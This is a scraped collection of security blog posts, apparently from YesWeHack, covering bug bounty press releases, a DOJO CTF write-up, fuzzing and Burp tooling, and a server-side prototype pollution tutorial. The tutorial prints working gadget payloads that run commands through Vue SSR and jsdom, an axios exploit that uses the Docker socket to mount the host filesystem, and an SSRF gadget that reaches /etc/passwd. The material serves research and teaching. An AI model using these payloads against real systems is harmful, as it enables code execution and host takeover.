’s global cybersecurity research community will help identify potential vulnerabilities in Telenor Sweden’s critical telecom infrastructure and protect its customer’s information

, Europe’s leading Bug Bounty platform, to identify potential vulnerabilities on its critical telecom infrastructure and protect customer information.

Telenor is a leading telecommunications company across the Nordics and Asia with more than 188 million customers worldwide. It has mobile operations in the Nordics, including Norway, Sweden, Denmark, Finland and in Asia, including Pakistan, Bangladesh, Thailand, Malaysia, and Myanmar. Connecting customers to what matters most has been the core of its business for more than 160 years.

Telenor’s wholly owned subsidiary, Telenor Sweden, is one of the largest mobile operator in the country and provider of fixed broadband services to the consumer and business markets in Sweden.

Telecom companies maintain and operate critical communications infrastructure. This is used to transmit large amounts of sensitive consumer and business data, due to which cyberattacks against the industry are soaring. Meanwhile, the rapid advancements of new technologies such as the Internet of Things (IoT) and 5G dramatically increase the potential attack surface and threat landscape for a telco.

To protect customer data and the security of its critical infrastructure, Telenor is investing in security capabilities across its organisation as well as with its suppliers and third-party providers. It ensures the same level of control over data and infrastructure, independent of operating – or business model.

One such initiative is crowdsourcing security through a bug bounty program with YesWeHack to identify security gaps and ensure adequate data protection. Crowdsourced security will help Telenor Sweden access a diverse range of security researchers, also called hunters, with unique specialisations and in-depth industry knowledge.

“The partnership with YesWeHack is one of the ways we work with security and maybe one of the most important ones in our proactive work to stop cybercriminals. The return on investment is huge since we get access to thousands of security researchers while only paying a fraction of the cost it would take to recruit them all individually,” said Ulf Andersson, Head of Information Security at Telenor Sweden. “We are now planning to level up both the private and public program to make it even more attractive and generate more reports,” he added.

Telenor Sweden had started with a private bug bounty program where YesWeHack invited selected researchers to hack it’s infrastructure. This was followed by a public bug bounty 

 where the telco is now being scrutinised by the entire YesWeHack community, representing more than 35,000 global cybersecurity researchers.

“Through the YesWeHack bug bounty program, we are connected to one of the finest global networks of hackers to help us find security gaps in our infrastructure. It’s all about finding vulnerabilities before anyone else. By being proactive and allowing the hacking of our infrastructure, we can find weaknesses before the criminals do and fix them,” said Marcus Lundblad, Security Engineer at Telenor Sweden.

By reducing security gaps and ensuring adequate data protection, Telenor Sweden gives its customers the comfort to share information and allow them to reap the benefits of the data-driven economy.

“Protecting people in their digital life with security at the foundation is the core value of Telenor,” said Guillaume Vassault-Houlière, CEO and Co-Founder of YesWeHack. “Telenor Sweden has achieved the position of a trusted and secure provider in all markets because of its focus on customer data protection and by defending its critical infrastructure by adopting game-changing solutions such as bug bounty,” he added.

Cybersecurity experts from Telenor Sweden will share best practices on guarding against cyber threats in a webinar on March 17th 2022. They will also share why the organisation has put bug bounty at the core of its security posture and will detail the clear benefits of a platform-driven, results-oriented and crowdsourced approach to security audits. For more information and registration visit our 

Telenor Sweden uses ethical hackers to dial-up cybersecurity to the max

 – Qatar’s leading provider of ICT solutions – has announced the launch of the first 

 in Qatar to enhance security provision for its Ooredoo.qa platform.

The new cyber-security program upgrades Ooredoo’s security practices by adding an extra layer of security testing to its regular vulnerability assessment and penetration testing. The programme entails inviting a global community of pre-registered ethical hackers and researchers to test its security, and report findings in return for a financial reward.

Sheikh Ali Bin Jabor Al Thani, Chief Executive Officer at Ooredoo Qatar said: “The launch of this new initiative demonstrates Ooredoo’s commitment to the provision of secure products and services to our customers, and to proactively addressing security vulnerabilities as soon as they are found in order to protect our customers, our employees and our business. The programme also enables us to ensure we meet our environmental and social responsibilities, as outlined in our corporate strategy.”

The telco leader has collaborated with the global Bug Bounty platform 

 to define the rules of the program, including the scope of the test, the vulnerabilities that qualify for a reward and their value. If the vulnerability is considered valid, the researcher is rewarded based on the validity and criticality of the bug. Once fixed, the bug is checked again to ensure resolution.

The public Bug Bounty Program will be a permanent part of Ooredoo’s security provision.

Would you like to learn more about YesWeHack’s Bug Bounty solution?

Take the first step by scheduling a demo with one of our experienced crowdsourced security professionals who can provide valuable insights and help you discover how our platform can benefit your organisation.

Founded in 2015, YesWeHack is a global Bug Bounty and VDP Platform. YesWeHack offers companies an innovative approach to cybersecurity with Bug Bounty (pay-per-vulnerability discovered), connecting more than 45,000 cybersecurity experts (ethical hackers) across 170 countries with organisations to secure their exposed scopes and reporting vulnerabilities in their websites, mobile apps, infrastructure and connected devices.

YesWeHack runs private (invitation based only) programs and public programs for hundreds of organisations worldwide in compliance with the strictest European regulations.

In addition to the Bug Bounty platform, YesWeHack also offers: a creation and management solution for 

, a learning platform for ethical hackers called 

 and a training platform for educational institutions, 

Ooredoo Launches New Cyber-Security Program to Upgrade Security Practices and Enhance Cyber-Security

Today, we will dive into the world of prototype pollution, focusing on server-side exploitation. Although this attack has become more prevalent for client-side or open-source applications, it can still be challenging to test and exploit in a black box scenario. In this blog post, we’ll first explore how prototypes work in JavaScript, then examine methods for detecting vulnerable websites and finally finding gadgets in popular libraries to develop a working exploit.

To have a comprehensive understanding of prototype pollution in JavaScript, it’s important to first grasp the concept of prototypes in the language. JavaScript is an object-oriented language that heavily relies on inheritance. For example, where does the method hasOwnProperty come from in the following example?

const x = {a: 42}

x.hasOwnProperty("a") // true
x.hasOwnProperty("hasOwnProperty") // false

When you try to access a property, JavaScript first looks at the object itself and checks if the property exists. If it exists, the value of this property is returned. If not, JavaScript looks if the same property exists in it’s prototype. This process is then repeated until the property is found, or when an object doesn’t have a prototype anymore.

This method actually comes from the prototype of x, which is Object.prototype.

You can access the prototype of any object via the magic property __proto__.

const x = {a: 42}

typeof x.hasOwnProperty // "function"
x.__proto__ === Object.prototype // true
x.__proto__.hasOwnProperty("hasOwnProperty") // true

const s = "test"
typeof s.hasOwnProperty // "function"
s.__proto__ === String.prototype // true
s.__proto__.hasOwnProperty("hasOwnProperty") // false
s.__proto__.__proto__ === Object.prototype // true
s.__proto__.__proto__.hasOwnProperty("hasOwnProperty") // true

The Object prototype is shared accross all objects, that mean if we modify it, it will affect all the object that use it.

const x = {y:42}

x.y // 42
x.z // undefined

Object.prototype.y = 'hello y'
Object.prototype.z = 'hello z'

x.y // 42
x.z // 'hello z'


In this example, the value of x.z is ‘hello z’ because the property z doesn’t exist in x but exists in the prototype. This is an important aspect to understand when it comes to prototype pollution. If an attacker can modify the prototype, they can affect all objects that inherit from it, which can lead to dangerous and unexpected consequences

Let’s look at a vulnerable code example:

const config = {
    //allowCMD: true
}
const users = {
    "guest": {name: "guest"},
}

function updateUser(username, prop, value){
    users[username][prop] = value
}

app.route("/update", (req) => {
    const {name, prop, value} = req.query
    updateUser(name, prop, value)
})

app.route("/eval", (req) => {
    const {code} = req.query
    if (!config.allowEval){
        return req.status(403)
    }
    eval(code)
})


In this example, submitting a request with name=__proto__&prop=allowEval&value=true will update the prototype of the users object with allowEval=true. Since the config and users objects share the same prototype, the next time we try to access the /eval route, we will be allowed to run arbitrary code.

The /update route is vulnerable to prototype pollution, and the /eval route is what we call a gadget. A gadget is essentially an access to an undefined property of an object. Since prototype pollution attacks allow for custom attributes to be written in any object that is not set, these undefined properties can allow an attacker to reach critical parts of the source code and change the behavior of the application.

Exploiting prototype pollution occurs in two parts. First, a way to write to the Object.prototype must be found, and then gadgets that can be used must be identified. This is similar to 

. While these gadgets are not vulnerabilities themselves, they can be used to compromise a target if unserialize is used in an insecure way.

PP Finder is a tool that simplifies the task of finding prototype pollution gadgets in a JavaScript codebase. It is designed to facilitate the detection of these vulnerabilities by analyzing all the JavaScript files present in a given directory, and producing a instrumented version that highlights the potentially vulnerable sections of the code.

The tool works by using the TypeScript parser to generate an Abstract Syntax Tree (AST) for each file. It then modifies this tree by injecting hooks that will detect if an undefined property is accessed. Once the modification is complete, the original file is replaced with the modified version that contains the detection hooks.

By modifying the AST, PP Finder is able to detect a wide range of prototype pollution gadgets that might otherwise be difficult to spot.

Once the hook process is complete, you can run the code just like before, and PP Finder will report any potential gadget and provides the location of the relevant sections of the code. With this information, you can analyze the gadget code and determine how it can be leveraged to achieve arbitrary code execution or other malicious behavior.

Detecting prototype pollution without access to the application source code can be challenging. Previous research has focused on polluting methods such as toString or valueOf to trigger a crash. While this can be a way to check for proto pollution, causing a crash might not be the optimal solution for everyone.

With the help of pp-finder, we targeted two of the most popular web server for node in order to find a way to detect the pollution without the crash. Here is our findings.

Express is by far the most popular nodejs http server. By default express use some basic caching mechanismn that can abused in order to check for PP.

When we send a request with the ‘if-none-match’ header, we expect to receive a 304 not modified response.

To verify whether the pollution attack was successful, we can resend the initial request. If we receive a 304 response, it indicates that our exploit did not work. On the other hand, if we receive a 200 response and the etag matches, it means that the website is vulnerable.

⚠️ It’s important to note that disabling the cache in this way can affect the experience of other users.

Fastify is another popular HTTP server with a focus on writing API server, most of the time using json as data encoding.

Now we try to add Content-Type: application/json; polluted=true

If the exploit is successful we should see polluted=true in the response content-type.

⚠️ If the application expect something else than JSON as input, this will probably make the application unusable.

To leverage our ability to detect server-side prototype pollution, we must now create payloads that can be used to exploit vulnerabilities in popular JavaScript libraries.

Here is a collection of gadget we found using PP-finder:

RCE using ssrCssVars, this variable is used in a call to Function, allowing arbitrary code execution.

const { createSSRApp } = require("vue");
const { renderToString } = require("vue/server-renderer");

Object.prototype.ssrCssVars = `1}; return _push(process.mainModule.require('child_process').execSync('id').toString())//`;

const app = createSSRApp({
  template: `<div></div>`,
});

renderToString(app).then((html) => {
  console.log(html);
});


RCE if <script src=> is present somewhere is the html.

const { JSDOM } = require("jsdom");

const payload = `console.log(
  this.constructor
    .constructor("return process")()
    .mainModule.require("child_process")
    .execSync("id")
    .toString()
);`;


Object.prototype.runScripts = "dangerously";
Object.prototype.resources = "usable";
Object.prototype.url = ["data:/"]
Object.prototype.path = ["#"]
Object.prototype.username = `application/javascript,${payload} //`

const dom = new JSDOM(`<script src="script.js"></script>`);


const { JSDOM } = require("jsdom");

const payload = `console.log(
  this.constructor
    .constructor("return process")()
    .mainModule.require("child_process")
    .execSync("id")
    .toString()
);`;


Object.prototype.runScripts = "dangerously";
Object.prototype.resources = "usable";
Object.prototype.url = ["data:/"]
Object.prototype.path = ["#"]
Object.prototype.username = `text/html,<script>${payload}</script>`

const dom = new JSDOM(`<iframe src="/frame"></iframe>`);


Object.prototype["content-type"] = "text/html;json;";


We didn’t found a way to change the host or the path of a request made with axios. However we found that it’s possible to force axios to send the request to a local unix socket.

We also found a way to change the body and the content-length of the request.

As it is possible to write request body, headers and socketPath, we can use HTTP pipe-lining to write a completely new request within the body of the initial request:

import axios from "axios";


// Create a container
const body = JSON.stringify({
  Image: "alpine:latest",
  Cmd: ["sleep", "60"],
  Volumes: { "/host": {} },
  HostConfig: { Binds: ["/:/host"] },
});

const createContainer = [
  "POST /containers/create?name=exploit HTTP/1.1",
  "Host: foo.bar",
  "Content-Type: application/json",
  "Connection: keep-alive",
  "Content-Length: " + body.length,
  "",
  body,
].join("rn");


// Run it
const startContainer = [
  "POST /containers/exploit/start HTTP/1.1",
  "Host: foo.bar",
  "Content-Type: application/json",
  "Connection: close",
  "Content-Length: 0",
  "",
  "",
].join("rn");

// Redirect query to the docker socket
Object.prototype.socketPath = "/var/run/docker.sock";

Object.prototype.data = "1" + createContainer + startContainer; // HTTP request pipelining

// Add headers to all requests
Object.prototype.common = {
  Connection: "keep-alive",
  "Content-Length": "1", // Spoof the Content-Length to do HTTP request pipelining
};

await axios.get("http://localhost:31337/");



Or you can always use HTTP pipe-lining without the unix socket to craft arbitrary request on the original host (here localhost:31337)

Got is another another http client, that can be use to perform ssrf.

// Override raw body ( affects Content-Type & Content-Length)
Object.prototype.body = "foo";
// Override json body ( affects Content-Type & Content-Length)
Object.prototype.json = {foo: 'bar'};
// Override connect host/port/path/search
Object.prototype.host = "localhost";
Object.prototype.port = 31337;
Object.prototype.path = "../../../etc/passwd";
Object.prototype.search = "woefijweofij";
// Creates basic auth
Object.prototype.username = "user";
Object.prototype.password = "pass";


Maybe you will be able to find other gadgets using pp-finder, let us know!

In conclusion, prototype pollution is a dangerous vulnerability that can be exploited in various ways to execute arbitrary code or take control of a web application. Our pp-finder tool can help detect potential prototype pollution issues in a codebase, and we have demonstrated how to detect server-side prototype pollution in popular Node.js HTTP servers such as Express and Fastify. With this knowledge, we can begin to craft payloads that can exploit popular JavaScript libraries to perform prototype pollution attacks.

However, we would like to emphasize that this information should only be used for educational or research purposes with prior consent from the target. A prototype pollution can have a large variety of unexpected side effect, therefore it’s recommanded to avoid testing for it directly in production…

If you would like to learn more about prototype pollution or try our pp-finder tool, please visit our GitHub repository 

.
You can also read this excellent article by 

Server-side prototype pollution: Black-box detection without the DoS

Server side prototype pollution, how to detect and exploit

, EvilTwin-Admin aims to exploit a SQL logic vulnerability by registering a new administrator user, resulting in a 

 You want to create your own DOJO and publish it? Send us a message on Twitter!

We are glad to announce the #21 DOJO Challenge winners list.

The best write-ups reports were submitted by: 

 feeds to be notified of the upcoming challenges.

Read on to find the best write-up as well as the challenge author’s recommendations.

We asked you to produce a qualified write-up report explaining the logic allowing such exploitation. This write-up serves two purposes:

Determine the contestant ability to properly describe a vulnerability and its vectors inside a professionally redacted report. This capacity gives us invaluable hints on your own, unique, talent as a bug hunter.

We would like to thank everyone who participated. The #21 DOJO challenge provided us with a 

We had to make a selection of the best ones. These challenges allow to see that there are almost as many different solutions… as long as there is creativity! 😉

Thanks again for all your submissions and thanks for playing with us!

Improper Access Control by SQL Logic Vulnerability | CVSSv3 8.6 | CWE-284

An improper access control vulnerability is a type of security vulnerability that occurs when a system or application does not properly enforce access restrictions. This can allow unauthorized individuals to access sensitive information, perform unauthorized actions, or gain elevated privileges. Improper access controls can occur in a variety of ways, such as weak authentication mechanisms, missing access controls, or flawed access control logic. This type of vulnerability can be exploited by attackers to gain unauthorized access to sensitive information or systems, steal sensitive data, perform unauthorized actions, or even take control of the system.

An attacker can become the only administrator of the concerned application by creating a new user that meets the requirements to overwrite the current admin user. He can then log-in with his custom email and password and access admin features.

This is the Sqlite code used in the challenge :

The $username and $passwd fields prohibit the single quote ' and backslash \

The first query allows to insert a new user to the database, with user-supplied id and username. Note that the ltrim(), replace() and lower() functions are applied on the username, they respectively remove leading spaces, replaces the “admin” string with “Nope”, and lowercase the input.
Also, we can’t use the id 

, because it is already the admin’s id which is the primary key of the user table.

The second query sets the password and the role for the newly created user. The passwd input is casted from hexadecimal to text, so it must be supplied in this format (hex characters) else an error is thrown. Then the role is set depending of the user’s id : If it is greater than 

, the role is “USER”, else “ADMIN”.

Finally, the third query is supposed to search for the 

 user, which has the username “admin” and the role “ADMIN”, in addition to a password looking like “FLAG{%}” with % matching any sequence of zero or more characters. The output of this query is limited to 1, because there should be only one admin 🙂

We can notice several flaws allowing us to become the new administrator of the app.

The first flaw is in the id input. The role of “ADMIN” is given only if this value is greater than 

 already being the admin’s id. But we can set it to 

 since all numbers are allowed, so our user is given the “ADMIN” role.

Moreover, the username is not strictly checked at creation because the lower() function is applied right after the replace() that removes the lowercase string “admin” from the field. It means we can set our username to “admin” by supplying a value with at least one uppercase letter like “ADMIN” to bypass this filter.

Eventually, we set our password to the hexadecimal value of the string “FLAG{AnythingHere}” to match the admin’s password : 

We now fulfill all requirements to be returned by the third query, as a user with username “admin”, role “ADMIN”, and password matching “FLAG{%}”.

Since the output of the last query (checking for the administrator) is limited to 1 row and our new user has the id 

, we are the first (and only) row being returned and we should have access to the application with our custom password.

We successfully added our EvilTwin user with a custom password as the only administrator of the app !

To complete the challenge, we can fill the input fields with the following values :

First of all, the admin’s id can be strictly checked with a condition like “$id = 1” instead of the current one so an attacker could not create a user with the “ADMIN” role. Also, the role “USER” can be set by default at insertion since it is not supposed to have more than 1 administrator, instead of updating the table.

Furthermore, the username check can be more efficient if the replace() function is called after the lower() one.

Last but not least, a password check should not be done with a “LIKE” statement, which is way too permissive. The unique id of the admin should be taken into account when checking for the right user, and not only the username which can be bypassed.

https://cwe.mitre.org/data/definitions/284.html
https://owasp.org/Top10/fr/A01_2021-Broken_Access_Control/

DOJO CHALLENGE #21 Winners!

Firefly is a tool developed to perform advanced 

. Black box fuzzing is a way to test a system by sending different payloads without having knowledge of the internal structure of the system. Using this technique, it is easier to determine how a system works by analysing different response behaviours the system provides.

In the verification process, Firefly sends a basic payload to illustrate a normal request to the target several times depending on the user’s configurations. When the response from the target comes back, Firefly stores the response data and prepares an analysis process. The analysis process collects the response words, lines, headers, payload reflections, dynamic lines and 

. For each response, all these factors are stored in memory.

Firefly uses a number of different techniques and factors to detect behaviours. All available features, including the documentation, can be found on the 

Verification of the original target behaviour(s) by analysing the content of multiple responses.

Analyses responses with a large number of keywords (

Detect changes as requested payloads are reflected in responses and modified (

e.g. through normalization and transformations

When the fuzzing process starts, the new intercepted response is analysed and, if the data stored from the verified responses does not match the current fuzzed response, Firefly starts a 

. This scan allows Firefly to detect a new behaviour in a static/dynamic web application by using the collected responses from the verification process and comparing them with each other to exclude dynamic elements.

The result of this process allows Firefly to later detect new behaviours and differences when the fuzzing process is running (

this can be seen in the section Process Flow Diagram

Payload modifications and transformations

The most important part of a fuzzing tool is the payloads that are used to perform all tests against the web application. Firefly has built-in standard wordlists that offer payloads and patterns used in the fuzzing process. These wordlists are great and can be customised by the user.

The payloads within Firefly can be customised by using encoding, tampering and regex rules.

Example of a basic wordlist that is being customised

 firefly -show-payload -w wordlist.txt:fuzz -tamper c2r -payload-replace '\d => 13*37'

: c2r stands for case2random and randomize all letters in the payloads to uppercase or lowercase.

) to replace patterns in each payload. This regex takes any digit (\d) and replace it ( => ) with 13*37.

These payload modifications are very useful for detecting backend functions, normalisations and/or bypassing security filters used by the system.

Beside the regular payloads that are stored within a wordlist and added by the user, Firefly uses transformation payloads. This payloads are stored in a YAML file and can be customised by the user. This payloads are used to detect transformations done by the target and they are compared to an expected transformation provided by the user. If a transformation is successful, the user is displayed and informed by Firefly.

These transformations can be used in future payloads to bypass filters and/or web application firewalls (WAFs).

Several types of lists can be used to collect keywords, regex and trace errors. These lists are fully customizable by the user and are used in all intercepted responses from the target.

A task within the verification process extracts the reflected payloads in the response by using a payload containing a known prefix and suffix. This improves the detection of reflected user input and allows Firefly to know the amount of reflections and also the default positions of the payload.

Firefly receives the custom user input (Golang 

) and validates their values. Once the input is validated, Firefly configures the input values so that they are ready for future processes.

The verification process discovers the default behaviours. This includes normal responses, dynamic content, reflected input and special char encoding/filtering.

Performing tests against the target using requests containing payloads. These requests are based on the payloads provided by the user together with the built-in payloads offered by Firefly, which are used to detect new behaviours of the target.

An engine starts for each incoming response. The engine starts several tasks with a unique purpose that analyzes the response. Each of these tasks uses gorutines to improve performance, and when all tasks are complete, the engine associated with the response identity collects all results from all tasks and adds them to a single Golang channel.

When a response has been analysed and is finished, the results are displayed in the 

Now that you have a good understanding of how Firefly works and how you can use it, you’re ready to get your hands dirty and fuzz the web for juicy vulnerabilities!

Firefly: a smart black-box fuzzer for web applications testing

) makes it possible to collect, categorise and highlight requests and/or responses according to their content. This helps detect vulnerable code patterns, errors, reflections and much more in a passive enumeration process.

 (regex), this allows HaE to collect patterns and highlight them to us.

In order to extract patterns from requests and/or responses, we need to add a new rule containing our regex that gives an indication of a possible vulnerability or interesting response behaviour. This ensures that requests and/or responses are highlighted and commented according to the detected pattern.

The HaE extension offers the following features:

Review patterns in request/response using regex.

Highlight and comment on the requests that contain a pattern match.

If more than one pattern matches, it annotates the request with all discovered patterns and selects a custom marker depending on how many matches it received.

You can take advantage of the feature by the tool 

. It helps you to debug and test the pattern before adding it to a rule in HaE.

The graphical user interface (GUI) is simple to use. Simply just add a rule, name it and add a regex. The name of the added rule will be the comment once the pattern is detected in the selected source.

These tools are useful when creating your own rule patterns:

I like to keep my patterns related to a category to get a clearer feedback when I analyse my intercepted requests and responses. The HaE extension offers many patterns by default, but the best solution is to create your own unique patterns. To get a good result without getting a lot of garbage and false positives, use more strict patterns that have a greater chance of being valid.

Here’s an example of how to turn a bad pattern into a good pattern: the regex pattern below attempts to collect all files that have the .log extension.

) collects all files with the .log extension, but it also collects false positives, such as the console.log() JavaScript function.

To avoid this, you can instead create a regex pattern as follows: 

. The regex is not bulletproof, but it avoids most false positives.

Below you will find some patterns that I have created myself and that I find very useful. These patterns gave me quick information about the target and also allowed me to passively detect code patterns that may be vulnerable.

/(admin|administrator)/
(admin|administrator).?
(api|rest|soap|v(1|2|3)|wp-json|swagger|)(.?)(jsp|json|/|)
([a-zA-Z0-9+].(php|asp|aspx|py|rb|go|pl|sql|xml|jsp|java))(]|}|)|"|'|`|/|d|s)
([a-zA-Z0-9+].(bak|log|csv))(]|}|)|"|'|`|/|d|s)

(((user|database|sql|db|dashboard|backup|restore|old|saved|storage|internal|access|secret|password)(s?)).(php|asp|aspx|py|rb|go|pl|sql|xml|jsp|java|doc|docs|xls|xlsx|csv|db|sql|bak|log|csv))(]|}|)|"|'|`|/|d|s)

[^s+-([{\=.?.)](""|''|``|(\\|\\\\)([^\]|"|'|`))

 which contains all the patterns. The patterns from HaE can be found at the following location: /$HOME/.config/HaE/Config.yml. You can 

 the Yaml file to an another directory with the following command: cp /$HOME/.config/HaE/Config.yml /$HOME/Desktop/HaE_bak.yml

The best way to test your regex patterns that will be used within HaE is to start a vulnerable docker like 

I collected a few different targets myself and quickly tested them out in the wild to see what kind of patterns I could collect just by crawling around on a few domains. It worked great!

It is important to have a mix of targets using different techniques

. This will help you to discover more quickly how effective your HaE configuration is. The extension passively extracts the patterns you have added and gives you quick feedback on which patterns you need to adjust and improve to avoid false positives/negatives.

This Burp extension will save you time for discovery and give you more time for exploitation!

PimpMyBurp #7: How HaE Burp Suite extension can help you in your daily hunting session

As a leading provider of open-source solutions for communication and collaboration, 

 is always looking for ways to improve the security of its products. In line with this strategy, it launched several public Bug Bounty programs on its major software product lines a few years ago, which it recently decided to shift to the 

 platform, along with some other changes. This gave us the opportunity to speak with 

, about the motivation behind those programs, how they will be managed and what researchers can expect.

Could you introduce yourself and the Open-Xchange security team?

. The OX Security Team is a cross-functional collective of engineers across our product range. As CISO, I’m formally in charge of the topic but, as with most things, this is based on teamwork. We try to directly involve the experts who can best respond to hunter reports and have the experience to propose or implement mitigations for security issues.

We are a remote-first company with employees from all over Europe that work on our public Bug Bounty programs (

). The Dovecot team is mainly located in Finland, while the OX App Suite team gravitates around Germany and the PowerDNS team is more oriented towards the Netherlands and France. Over the past years, we have also been hiring outside those regions, so the borders are blurring even more.

What is Open-Xchange’s posture regarding security and how does Bug Bounty fit into this?

We are delivering software and services to customers in highly regulated markets (telecommunications, hosting, public sector) and use our products to build our SaaS offering, OX Cloud. We also have strong ties to the open-source community, which again uses our software to run critical infrastructure. The kind of services that use our software are usually multi-tenant, exposed to the internet, and often easy to get access to. They also serve millions of users and breaches can have severe impact on user data, so security has been a significant consideration in everything we do. We put that in our mission statement to help create a “borderless internet that is open, safe and free”.

Nowadays, everyone claims to take security seriously. I think we were already doing that a long time ago and have developed our organisation’s culture around it. Customers demand things like ISO27001 compliance, but we always try to be a step ahead of the game and act proactively. 

This is where Bug Bounty fits into our efforts to provide the best and most secure products.

 For us, it’s an extension to existing security controls like proper design and development processes, code reviews, fuzzing, pentests, and so on.

Bug Bounty complements all those efforts. It’s a way to dramatically increase the audience for security reviews and tap into a diverse crowd of experts that come up with very creative ways to break things.

 We are part of the open-source community and value cooperation a lot. Bug Bounty gives us a way to incentivize and compensate the effort while reducing our transaction cost. Nobody likes to work for free, and we understand that there is a competition for the best talent out there. We try to attract it by being professional and respectful, responding quickly and providing fair compensation.

You started doing Bug Bounty 7 years ago. Has your approach towards it changed since then?

To be frank, it did not change significantly. Our experience in the open-source community helped us to know what we were getting ourselves into. Of course, we were able to learn a lot and improve the way we communicate and give back to the community. We also learnt how to integrate reports into our development processes. Over time, we have worked with “regular” bug reporters that have become very skilled and probably know some of our code better than we do. This has been a real pleasure to witness, for instance, academic recognition of hunters for a vulnerability that we worked on together, especially if it led to improvement on both sides. If hunters agree, we recognise them in our public advisories, which has certainly helped hunters with building credibility and supporting their career.

After 7 years, the machine must be well oiled… how do you manage the reports internally?

The YesWeHack Blog

Telenor Sweden uses ethical hackers to dial-up cybersecurity to the max

Ooredoo Launches New Cyber-Security Program to Upgrade Security Practices and Enhance Cyber-Security

Server side prototype pollution, how to detect and exploit

Telenor Sweden uses ethical hackers to dial-up cybersecurity to the max

DOJO CHALLENGE #21 Winners!

Firefly: a smart black-box fuzzer for web applications testing

PimpMyBurp #7: How HaE Burp Suite extension can help you in your daily hunting session

DOJO CHALLENGE #21 Winners!

A sneak peek into Open-Xchange’s public Bug Bounty programs

Vulnerability Disclosure Policy as a first step of GfK’s crowdsourced security strategy

Exploring JavaScript's exploits: A deep dive into XSS vulnerabilities

A sneak peek into Open-Xchange’s public Bug Bounty programs

Don't wait for threats to strike

Products

Researchers

Resources

Company

Follow us